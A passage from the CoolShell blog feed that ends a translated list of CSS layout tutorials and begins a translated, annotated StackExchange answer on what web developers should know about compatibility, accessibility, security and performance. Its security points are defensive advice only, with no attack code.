<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts9.gif" alt="" width="450" height="255" /></p>
<p>9-<a href="http://www.alistapart.com/articles/multicolumnlayouts/">非主流！多栏布局</a>&#8211; 多栏布局，等高栏（每一列的高度都相等），固定或变宽中央区，简洁标记，CSS 。(译者注：原文作者的图配的和上图一样)</p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts9.gif" alt="" width="450" height="255" /></p>
<p>例子<a href="http://www.alistapart.com/d/multicolumnlayouts/3ColLiquid.html">查看这里</a></p>
<p>10- <a href="http://www.positioniseverything.net/articles/onetruelayout/">创建天下无双的CSS布局</a>&#8211; 高灵活性布局,等高栏，跨栏垂直摆放元素。本文告诉你通过何等手段完成这些目标，并使用它们创建天下无双的CSS布局（译者注:原文是One True Layout ，不知道怎么翻译，就天下无双吧。）</p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts22.gif" alt="" width="450" height="180" /></p>
<p><a href="http://www.positioniseverything.net/articles/onetruelayout/examples">查看这里</a></p>
<p>11-<a href="http://nettuts.com/site-builds/from-psd-to-html-building-a-set-of-website-designs-step-by-step/">从PSD到HTML，手把手完成WEB设计</a>-从Photoshop到完整HTML，全过程手把手教会你。</p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts34.jpg" alt="" width="450" height="341" /></p>
<p>例子<a href="http://nettuts.s3.amazonaws.com/017_Creatif/Site/index.html">查看这里</a> | <a href="http://nettuts.s3.amazonaws.com/017_Creatif/Site_Download.zip">下载</a></p>
<p>12- <a href="http://tutorialblog.org/5-tips-for-coding-xhtmlcss-layouts/">5个XHTML/CSS技巧</a> &#8211; 5个CSS技巧帮助你完成从基于表格的布局到基于CSS的布局。</p>
<p>13-<a href="http://veerle.duoh.com/index.php/blog/comments/designing_a_css_based_template_part_i/">设计一个基于CSS的模板</a> &#8211; 这是一个教你创建基于CSS的模板页的基础教程。这个教程由下面几个部分构成：第一部分覆盖了在Photoshop CS*中的创建导航条按钮，第二部分：创建背景接下来的清单是标题和页面布局，最后的部分在XHTML和CSS中实现。</p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts35.jpg" alt="" width="450" height="250" /></p>
<p><a href="http://homepage.mac.com/vpieters/css_step2/step2_whooshes.mov.zip">下载</a></p>
<p>14-<a href="http://www.sitepoint.com/article/breaking-out-of-the-box">使用CSS布局跳出常规布局</a>&#8211; 如果你理解了基于表格布局的工作方式，你能通过合并或拆分表格创建你随心所欲的布局。就这个目标（同时支持灵活性和可维护性），CSS能够提供比基于表格更多地东西。Jina Bolton的教程解释如何达到这个目标。</p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts36.gif" alt="" width="450" height="250" /></p>
<p>15-<a href="http://www.webreference.com/authoring/style/sheets/layout/advanced/">高级CSS教程:手把手</a>&#8211; 这个教程的终极目标创建一个CSS布局，这个CSS布局精确地重组了原有使用table的WebReference.com的布局。</p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts29.gif" alt="" width="450" height="263" /></p>
<p>16-<a href="http://snook.ca/archives/html_and_css/six_keys_to_understanding_css_layouts/">了解CSS布局的6个关键要素</a>-本文讲述了6件基于CSS布局需要了解的事情：盒模型(Box Model)，浮动栏(Floated Columns) （译者注：float是WEB布局最重要的一个属性了）。使用Em来设置尺寸（Sizing Using Ems），图片替换（Image Replacement）,浮动导航和Sprintes。</p>
<p>17-<a href="http://wisdump.com/design/are-you-making-these-common-blog-layout-mistakes/">你会犯这些常见的博客布局错误吗？</a>-讨论4个博客布局中常见而且易修复的错误。</p>
<p>18-<a href="http://www.htmldog.com/guides/cssadvanced/layout/">页面布局</a>-CSS页面布局中的浮动元素和定位元素实践指导。</p>
<p>你可以查看这些例子：<a href="http://www.htmldog.com/examples/positioning4.html">Absolute Position within a relative box</a><a href="http://www.htmldog.com/examples/float2.html"> two floated boxes</a>和<a href="http://www.htmldog.com/examples/pagelayout3.html"> using a border to provide the background for a column</a></p>
<p>19-<a href="http://leftjustified.net/site-in-an-hour/">Site in an Hour</a>&#8211; 使用复杂CCS布局完成简单的工作。</p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts40.jpg" alt="" width="450" height="250" /></p>
<h4><strong><span style="color: #008000;">关于布局的最佳资源</span></strong></h4>
<p>下面的大多数这些资源不需要许可就能直接使用，然而，其中的一些需要先发邮件确认一下是否可以使用这些资源。因此，在使用之前最好先检查资源的版权信息。</p>
<p>20-<a href="http://www.maxdesign.com.au/presentation/page_layouts/">简单CSS页面布局</a>&#8211; 这里有一套2栏和3栏的CSS布局。</p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts10.jpg" alt="" width="450" height="255" /></p>
<p>你可以通过这里查看这些样例<a href="http://www.maxdesign.com.au/presentation/process/example23.htm"> Liquid three column layout</a>,<a href="http://www.maxdesign.com.au/presentation/page_layouts/single04.htm"> Left aligned, set width</a> and <a href="http://www.maxdesign.com.au/presentation/liquid/example13.htm">Liquid insanity</a>.</p>
<p>21-<a href="http://matthewjamestaylor.com/blog/perfect-3-column.htm">完美的三栏变宽布局（百分比定宽度）The Perfect 3 Column Liquid Layout (Percentage widths)</a>&#8211; 没有CSS hack（译者注：不知道怎么翻译，点击<a href="http://baike.baidu.com/view/1119452.htm">这里</a>查看解释）. 良好地收索引擎优化.无图. 无Javascript. 跨浏览器 和IPHONE设备兼容</p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts11.gif" alt="" width="450" height="370" /></p>
<p>你可以通过这里查看样例 <a href="http://www.maxdesign.com.au/presentation/process/example23.htm">Liquid three column layout</a>, <a href="http://www.maxdesign.com.au/presentation/page_layouts/single04.htm">Left aligned, set width</a> 和 <a href="http://www.maxdesign.com.au/presentation/liquid/example13.htm">Liquid insanity</a>. (译者注：这里的链接和上面重复了，哎，原文的错误吧)</p>
<p>22-<a href="http://www.intensivstation.ch/en/templates/">CSS模板和样例</a></p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts21.gif" alt="" width="450" height="380" /></p>
<p>你可以通过这里查看这些样例<a href="http://www.intensivstation.ch/files/en_templates/temp06.html"> 3 columns fixed</a> <a href="http://www.intensivstation.ch/files/en_templates/temp06.html">centered</a>, <a href="http://www.intensivstation.ch/files/en_templates/temp11.html">fixed Box totally</a><a href="http://www.intensivstation.ch/files/en_templates/temp11.html">centered</a> and <a href="http://www.intensivstation.ch/files/en_templates/temp03.html">3 columns, all</a><a href="http://www.intensivstation.ch/files/en_templates/temp03.html">dynamic</a></p>
<p>23-<a href="http://layouts.ironmyers.com/">IM 布局</a>&#8211; IM 布局是一种简单地的CSS布局系统，IM布局提供了全A级的浏览器的支持。</p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts24.gif" alt="" width="450" height="250" /></p>
<p>你可以通过这里查看这些样例:<a href="http://www.ironmyers.com/examples/three_column_layout.html"> The Holy Grail 3 Column Layout</a>, <a href="http://www.ironmyers.com/examples/classic_blog.html">The Classic Blog Layout </a>和<a href="http://www.ironmyers.com/examples/multi_column.html"> The Multi Column Layout.</a></p>
<p>24-<a href="http://www.cssplay.co.uk/layouts/index.html">CSSplay </a>&#8211; CSS布局列表</p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts25.gif" alt="" width="450" height="87" /></p>
<p>你可以通过这里查看这些样例:<a href="http://www.cssplay.co.uk/layouts/fixit.html">Cross browser FIXED</a>, <a href="http://www.cssplay.co.uk/layouts/threecol.html">Three columns</a> and <a href="http://www.cssplay.co.uk/layouts/frame.html">CSS Frame – The Holy Grill</a>.</p>
<p>25-<a href="http://blog.html.it/layoutgala/">Layoutgala </a>&#8211; 基于同样的的标记l得到最大数量的不同的布局方式。没有CCS hack，没有CSS workaround ，良好的浏览器兼容性。40种不同布局。</p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts26.gif" alt="" width="450" height="180" /></p>
<p>你可以通过这里查看这些样例:<a href="http://blog.html.it/layoutgala/LayoutGala07.html">Three fixed Columns</a>, <a href="http://blog.html.it/layoutgala/LayoutGala04.html">Three percentage columns</a> and <a href="http://blog.html.it/layoutgala/LayoutGala19.html">Liquid, three columns, hybrid widths </a>(吐槽：没有等高，不好看).</p>
<p>26-<a href="http://www.glish.com/css/">Glish</a>&#8211; 许多有用的跨浏览器布局技术</p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts27.gif" alt="" width="450" height="125" /></p>
<p>你可以通过这里查看这些样例: <a href="http://www.glish.com/css/7.asp">3 columns, the holy grail</a>,<a href="http://www.glish.com/css/9.asp"> 2 columns, ALA style</a> and <a href="http://www.glish.com/css/2.asp">3 columns, all fluid </a></p>
<p>27-<a href="http://www.thenoodleincident.com/tutorials/box_lesson/boxes.html">Thenoodleincident</a>&#8211; CSS 从简单的单盒到3盒并增加一个顶部条，所有都是变宽。</p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts28.gif" alt="" width="450" height="140" /></p>
<p>28-<a href="http://www.bluerobot.com/web/layouts/">The Layout Reservoir</a>&#8211; 很多有用的CSS布局技术</p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts30.gif" alt="" width="450" height="225" /></p>
<p>你可以通过这里查看这些样例:<a href="http://bluerobot.com/web/layouts/layout1.html"> 2 columns – left menu</a>,<a href="http://bluerobot.com/web/layouts/layout3.html"> 3 columns – flanking menus</a>和<a href="http://bluerobot.com/web/css/center1.html"> Auto-width Margins </a>.</p>
<p>29-<a href="http://www.strictlycss.com/articles/article/40/the-only-css-layout-you-need">The only CSS layout you need</a>&#8211; 在这篇文章中将会为你展现10个基于同一的HTML的不同的的布局。</p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts32.gif" alt="" width="450" height="225" /></p>
<p>你可以通过这里查看这些样例: <a href="http://www.strictlycss.com/examples/three-column-layout-1.asp"> Three column CSS layout – left and right menu</a>, <a href="http://www.strictlycss.com/examples/three-column-layout-2.asp">Two column CSS layout – top and left menu</a> 和 <a href="http://www.strictlycss.com/examples/three-column-layout-7.asp">Three column CSS fluid layout: 100% width</a></p>
<p>30-<a href="http://www.yaml.de/">另一个多栏布局</a>-是一个创建当代流行的变宽的浮动布局的XHTML/CSS框架。这是一个多功能实用的布局。</p>
<p>点击<a href="http://www.yaml.de/fileadmin/download/release_306/yaml_306_080609.zip">这里</a>下载.</p>
<p>31-<a href="http://www.cssliquid.com/">Liquid Designs</a>&#8211; 使用XHTML和CSS的变宽设计库。</p>
<h4><strong><span style="color: #008000;">最佳实践</span></strong></h4>
<p>如果你需要寻找一些布局灵感，你可以从下面的网站链接中找到。这些站点演示了CSS布局如何应用于不同类型的网站。查看这些网站是如何分成2栏或3栏，或混合宽栏和窄栏布局。</p>
<p>32-<a href="http://helldesign.net/">Helldesign</a></p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts5.jpg" alt="" width="450" height="365" /></p>
<p>33-<a href="http://silverbackapp.com/">Silverbackapp</a></p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts12.jpg" alt="" width="450" height="325" /></p>
<p>34-<a href="http://www.os.ca/accueil.php">OS communications informatiques</a></p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts13.jpg" alt="" width="450" height="310" /></p>
<p>35-<a href="http://rockatee.com/">Rockatee</a></p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts14.jpg" alt="" width="450" height="310" /></p>
<p>36-<a href="http://www.darrenhoyt.com/">Darrenhoyt</a></p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts15.jpg" alt="" width="450" height="225" /></p>
<p>37-<a href="http://www.makebetterwebsites.com/">Makebetterwebsites</a></p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts16.jpg" alt="" width="450" height="250" /></p>
<p>38-<a href="http://elitetheme.com/">Elitetheme</a></p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts17.jpg" alt="" width="450" height="250" /></p>
<p>39-<a href="http://www.studio7designs.com/">Studio7designs</a></p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts18.jpg" alt="" width="450" height="250" /></p>
<p>40-<a href="http://brightcreative.com/">Brightcreative</a></p>
<p><img decoding="async" loading="lazy" class="aligncenter" src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts19.jpg" alt="" width="450" height="300" /></p>
<p><em>(全文完)</em><!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/9666.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg" alt="浏览器的渲染原理简介" width="150" height="150" /></a><a href="https://coolshell.cn/articles/9666.html" class="wp_rp_title">浏览器的渲染原理简介</a></li><li ><a href="https://coolshell.cn/articles/3903.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg" alt="一些有意思的贴子和工具" width="150" height="150" /></a><a href="https://coolshell.cn/articles/3903.html" class="wp_rp_title">一些有意思的贴子和工具</a></li><li ><a href="https://coolshell.cn/articles/3684.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg" alt="Web开发人员速查卡" width="150" height="150" /></a><a href="https://coolshell.cn/articles/3684.html" class="wp_rp_title">Web开发人员速查卡</a></li><li ><a href="https://coolshell.cn/articles/3013.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2010/09/biolab-150x150.jpg" alt="一些非常有意思的杂项资源" width="150" height="150" /></a><a href="https://coolshell.cn/articles/3013.html" class="wp_rp_title">一些非常有意思的杂项资源</a></li><li ><a href="https://coolshell.cn/articles/1949.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg" alt="Web中的省略号" width="150" height="150" /></a><a href="https://coolshell.cn/articles/1949.html" class="wp_rp_title">Web中的省略号</a></li><li ><a href="https://coolshell.cn/articles/17634.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif" alt="Chrome开发者工具的小技巧" width="150" height="150" /></a><a href="https://coolshell.cn/articles/17634.html" class="wp_rp_title">Chrome开发者工具的小技巧</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/6840.html">CSS 布局:40个教程、技巧、例子和最佳实践</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/6840.html/feed</wfw:commentRss>
			<slash:comments>31</slash:comments>
		
		
			</item>
		<item>
		<title>Web开发中需要了解的东西</title>
		<link>https://coolshell.cn/articles/6043.html</link>
					<comments>https://coolshell.cn/articles/6043.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Wed, 07 Dec 2011 00:29:49 +0000</pubDate>
				<category><![CDATA[Web开发]]></category>
		<category><![CDATA[杂项资源]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[安全]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=6043</guid>

					<description><![CDATA[<p>在StackExchange上有人问了这样一个问题：What should every programmer know about web developmen...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/6043.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/6043.html">Web开发中需要了解的东西</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script>在StackExchange上有人问了这样一个问题：<a href="http://programmers.stackexchange.com/questions/46716/what-should-every-programmer-know-about-web-development" target="_blank">What should every programmer know about web development?</a>（关于Web开发，什么是所有程序员需要知道的？）里面给出的答案非常不错，所以，我翻译转载过来。 顺便说一下，StackExchange真是非常好，大家可以对同一个答案做贡献和修订，看看这个问题的<a href="http://programmers.stackexchange.com/posts/46760/revisions" target="_blank">修订过程</a>你就知道了——专业的问答网站应该怎么去做。这就是我在这篇文章中也说过<a title="腾讯，竞争力 和 用户体验" href="https://coolshell.cn/articles/5901.html" target="_blank">真正的用户体验是什么样的</a>。</p>
<p>好了，下面是正文（我对原文做了一些批注，也许不对或有误导，请大家指正）</p>
<p>下面的这些东西可能对于大多数人并不陌生，但是可能会有些东西你以前并没有看过，或是没有完全搞懂，甚至都没有听说过。（陈皓注：我相信当你看完这个列表后，你会觉得对于我国的Web开发有点弱了，还是那句话，表面上的东西永远是肤浅的）</p>
<h4><strong>接口和用户体验</strong></h4>
<ul>
<li>小心浏览器的实现标准上的不一致，确信让你的网站能够适当地跨浏览器。至少，你的网站需要测试一下下面的浏览器：</li>
<ul>
<li>最新的 <a href="http://en.wikipedia.org/wiki/Gecko_%28layout_engine%29" rel="nofollow">Gecko</a> 引擎 (<a href="http://firefox.com/" rel="nofollow">Firefox</a>)，</li>
<li>一个 Webkit 引擎 (<a href="http://www.apple.com/safari/" rel="nofollow">Safari</a>, <a href="http://www.google.com/chrome" rel="nofollow">Chrome</a>, 或是其它的移动设备上的浏览器)</li>
<li> <a href="http://en.wikipedia.org/wiki/Internet_Explorer" rel="nofollow">IE 浏览器</a> (测试IE的兼容性你可以使用微软IE的 <a href="http://www.microsoft.com/Downloads/details.aspx?FamilyID=21eabb90-958f-4b64-b5f1-73d0a413c8ef&amp;displaylang=en" rel="nofollow">Application Compatibility VPC Images</a>)</li>
<li> <a href="http://www.opera.com/" rel="nofollow">Opera</a> 浏览器。</li>
</ul>
</ul>
<p style="padding-left: 30px;">最后，你可以使用一下<a href="http://www.browsershots.org/" rel="nofollow">这个工具</a> 来看看你的网页在不同的浏览器下是怎么被显示出来的（陈皓注：这个工具就是以前本站介绍过的<a title="如何检查网页浏览器的兼容性" href="https://coolshell.cn/articles/757.html" target="_blank">在不同浏览器和平台上检查你的网站的兼容性</a>）</p>
<ul>
<li>多考虑一下人们是怎么来访问你的网站而不是那些主流的浏览器：手机，读屏软件和搜索引擎，例如：一些Accessibility的东西： <a href="http://www.w3.org/WAI/" rel="nofollow">WAI</a> 和  <a href="http://www.section508.gov/" rel="nofollow">Section508</a>, 移动设备开发：<a href="http://mobiforge.com/" rel="nofollow">MobiForge</a>.</li>
</ul>
<ul>
<li>部署Staging：怎么部署网站的更新而不会影响用户的访问。 <a href="http://programmers.stackexchange.com/questions/46716/what-should-a-developer-know-before-building-a-public-web-site/46738#46738">Ed Lucas的答案</a> 可以让你了解一些（陈皓注：Ed说了一些如版本控制，自动化build，备份，回滚等机制）。</li>
</ul>
<ul>
<li>千万不要直接给用户显示不友好的错误信息。</li>
</ul>
<div><span id="more-6043"></span></div>
<ul>
<li>千万不要把用户的邮件地址以明文显示出来，这样会被爬虫爬走并被让用户的邮箱被垃圾邮件搞死。</li>
</ul>
<ul>
<li>为用户的链接加上 <code>rel="nofollow"</code> 的属性以 <a href="http://en.wikipedia.org/wiki/Nofollow" rel="nofollow">避免垃圾网站的干扰</a>。（陈皓注：<strong>nofollow</strong>是HTML的一个属性，用于通知搜索引擎“这个链接所指向的网页非我所能控制，对其内容不予置评”，或者简单地说，该链接不是对目标网站或网页的“投票”，这样搜索引擎不会再访问这个链接。这个是用来减少一些特定垃圾页面对原网站的影响，从而可以改善搜索结果的质量，并且防止垃圾链接的蔓延。）</li>
</ul>
<ul>
<li><a href="http://www.codinghorror.com/blog/archives/001228.html" rel="nofollow">为网站建立一些的限制</a> &#8211; 这个属于安全性的范畴。（陈皓注：比如你在Google注册邮箱时，你一口气注册超过两个以上的邮箱，gmail要求给你发短信或是给你打电话认证，比如Discuz论坛的会限制你发贴或是搜索的间隔时间等等，更多的网站会用CAPTCHA来确认是人为的操作。 这些限制都是为了防止垃圾和恶意攻击）</li>
</ul>
<ul>
<li>学习如何做 <a href="http://en.wikipedia.org/wiki/Progressive_enhancement" rel="nofollow">Progressive Enhancement</a>. （陈皓注：<a href="http://en.wikipedia.org/wiki/Progressive_enhancement" rel="nofollow">Progressive Enhancement</a>是一个Web Design的理念，如：1）基础的内容和功能应该可以被所有的浏览器存取，2）页面布局的应该使用外部的CSS链接，3）Javascript也应该是外部链接还应该是 <a title="Unobtrusive JavaScript" href="http://en.wikipedia.org/wiki/Unobtrusive_JavaScript">unobtrusive</a> 的，4）应该让用户可以设置他们的偏好）</li>
</ul>
<ul>
<li>如果POST成功，要<a href="http://en.wikipedia.org/wiki/Post/Redirect/Get" rel="nofollow">在POST方法后重定向网址</a>，这样可以阻止用户通过刷新页面重复提交。</li>
</ul>
<ul>
<li>严重关注Accessibility。因为这是<a href="http://www.section508.gov/" target="_blank">法律上的需求</a>（陈皓注：Section 508是美国的508法案，其是美国劳工复健法的改进，它是一部联邦法律，这个法律要求所有技术要考虑到残障人士的应用，如果某个大众信息传播网站，如果某些用户群体（如残疾人）浏览该网站获取信息时，如果他们无法正常获得所期望的信息（如无法正常浏览），那可以依据相关法规，可以对该网站依法起诉）。 <a href="http://www.w3.org/WAI/intro/aria" rel="nofollow">WAI-ARIA</a> 为这方面的事提供很不错的资源.</li>
</ul>
<h4><strong>安全</strong></h4>
<ul>
<li>在网上有很多关于安全的文章，但是 <a href="http://www.owasp.org/index.php/Category%3aOWASP_Guide_Project" rel="nofollow">OWASP 开发指导</a> 涵盖了几乎所有关于Web站点安全的东西。（陈皓注：OWASP(开放Web应用安全项目- Open Web Application Security Project)是一个开放的非营利性组织，目前全球有130个分会近万名会员，其主要目标是研议协助解决Web软体安全之标准、工具与技术文件，长期 致力于协助政府或企业了解并改善网页应用程式与网页服务的安全性。OWASP被视为Web应用安全领域的权威参考。2009年下列发布的美国国家和国际立法、标准、准则、委员会和行业实务守则参考引用了OWASP。美国联邦贸易委员会(FTC)强烈建议所有企业需遵循OWASP十大WEB弱点防护守则）</li>
</ul>
<ul>
<li>了解什么是 <a href="http://en.wikipedia.org/wiki/SQL_injection" rel="nofollow">SQL 注入攻击</a> 并知道怎么阻止这种攻击。</li>
</ul>
<ul>
<li>永远不要相信用户的输入（包括Cookies，因为那也是用户的输入）</li>
</ul>
<ul>
<li>对用户的口令进行Hash，并使用salt，以防止Rainbow 攻击（陈皓注：Hash算法可用MD5或SHA1等，对口令使用salt的意思是，user 在设定密码时，system 产生另外一个random string(salt)。在datbase 存的​​是与salt + passwd 产的md5sum 及salt。 当要验证密码时就把user 输入的string 加上使用者的salt，产生md5s​​um 来比对。 理论上用salt 可以大幅度让密码更难破解，相同的密码除非刚好salt 相同，最后​​存在database 上的内容是不一样的。google一下md5+salt你可以看到很多文章。关于<a href="http://en.wikipedia.org/wiki/Rainbow_table" target="_blank">Rainbow 攻击</a>，其意思是很像密码字典表，但不同的是，Rainbow Table存的是已经被Hash过的密码了，而且其查找密码的速度更快，这样可以让攻击非常快）。使用慢一点的Hash算法来保存口令，如 bcrypt (被时间检证过了) 或是 scrypt (更强，但是也更新一些) (<a href="http://www.tarsnap.com/scrypt.html" rel="nofollow">1</a>, <a href="http://it.slashdot.org/comments.pl?sid=1987632&amp;cid=35149842" rel="nofollow">2</a>)。你可以阅读一下 <a href="http://codahale.com/how-to-safely-store-a-password/" rel="nofollow">How To Safely Store A Password</a>（陈皓注：酷壳以前曾介绍过<a title="如何防范密码被破解" href="https://coolshell.cn/articles/2078.html" target="_blank">bcrypt这个算法</a>，这里，我更建议我们应该让用户输入比较强的口令，比如Apple ID注册的过程需要用户输入超过8位，需要有大小写和数字的口令，或是做出类似于<a title="另类UX让你输入强口令" href="https://coolshell.cn/articles/3877.html" target="_blank">这样的用户体验的东西</a>）。</li>
</ul>
<ul>
<li><a href="http://stackoverflow.com/questions/1581610/how-can-i-store-my-users-passwords-safely/1581919#1581919">不要试图自己去发明或创造一个自己的fancy的认证系统</a>，你可能会忽略到一些不容易让你查觉的东西而导致你的站点被hack了。（陈皓注：我在<a title="如何设计“找回用户帐号”功能" href="https://coolshell.cn/articles/5987.html" target="_blank">腾讯那坑爹的申诉系统</a>中说过这个事了，我说过这句话——“真正的安全系统是协同整个社会的安全系统做出来的一道安全长城，而不是什么都要自己搞”，当然，很遗憾不是所有的人都能看懂这个事，包括一些资深的人）</li>
</ul>
<ul>
<li>了解 <a href="https://www.pcisecuritystandards.org/" rel="nofollow">处理信用卡的一些规则 </a>. (<a href="http://stackoverflow.com/questions/51094/payment-processors-what-do-i-need-to-know-if-i-want-to-accept-credit-cards-on-m">这里也有一个问题你可以查看一下</a>) （陈皓注：有两上vendor可以帮助你，一个是 <a href="http://www.authorize.net/" rel="nofollow">Authorize.Net</a> 另一个是 <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_payflow-pro-overview-outside" rel="nofollow">PayFlow Pro</a>）</li>
</ul>
<ul>
<li>使用 <a href="http://www.mozilla.org/projects/security/pki/nss/ssl/draft302.txt" rel="nofollow">SSL</a>/<a href="http://en.wikipedia.org/wiki/Https" rel="nofollow">HTTPS</a> 来加密传输登录页面或是任可有敏感信息的页面，比如信用卡号等。</li>
</ul>
<ul>
<li>知道如何对付session 劫持。（陈皓注：请参看wikipedia的这<a href="http://en.wikipedia.org/wiki/Session_hijacking" target="_blank">Session Hijacking</a>，）</li>
</ul>
<ul>
<li>避免 <a href="http://en.wikipedia.org/wiki/Cross-site_scripting" rel="nofollow">跨站脚本攻击</a>(XSS)。（陈皓注：参看酷壳站前几天发的《<a title="新浪微博的XSS攻击" href="https://coolshell.cn/articles/4914.html" target="_blank">新浪微博的XSS攻击事件</a>》）</li>
</ul>
<ul>
<li>避免 <a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery" rel="nofollow">跨站</a><a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery" rel="nofollow">伪造</a><a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery" rel="nofollow">请求攻击 cross site request forgeries</a> (XSRF).</li>
</ul>
<ul>
<li>保持你的系统里的所有软件更新到最新的patch。</li>
</ul>
<ul>
<li>确保你的数据库连接是安全的。</li>
</ul>
<ul>
<li>确保你能了解最新的攻击技术，以及你系统的脆弱处。</li>
</ul>
<ul>
<li>请读一下 <a href="http://code.google.com/p/browsersec/wiki/Main" rel="nofollow">The Google Browser Security Handbook</a>.</li>
</ul>
<ul>
<li>请读一下 <a href="http://rads.stackoverflow.com/amzn/click/0470170778" rel="nofollow">The Web Application Hacker&#8217;s Handbook</a>.</li>
</ul>
<ul>
<li>（陈皓注：之前本站的“<a title="一些文章资源和趣闻" href="https://coolshell.cn/articles/5537.html" target="_blank">一些资源</a>”提到过<a href="https://wiki.mozilla.org/WebAppSec/Secure_Coding_Guidelines" target="_blank">Mozilla的安全编程规范</a>，还有Ruby on Rails的<a href="http://guides.rubyonrails.org/security.html" target="_blank">Web安全的开发教程</a>）</li>
</ul>
<h4><strong>性能</strong></h4>
<ul>
<li>只要需要，请实现cache机制，了解并合理地使用 <a href="http://www.mnot.net/cache_docs/" rel="nofollow">HTTP caching</a> 以及 <a href="http://www.w3.org/TR/html5/offline.html" rel="nofollow">HTML5 Manifest</a>.</li>
</ul>
<ul>
<li>优化页面 —— 不要使用20KB图片来平铺网页背景。（陈皓注：还有很多网页页面优化性的文章，你可以STFG &#8211; Search The Fucking Google一下。如果你要调试的话，你可以使用firebug或是chrome内置的开发人员的工具来查看网页装载的性能）</li>
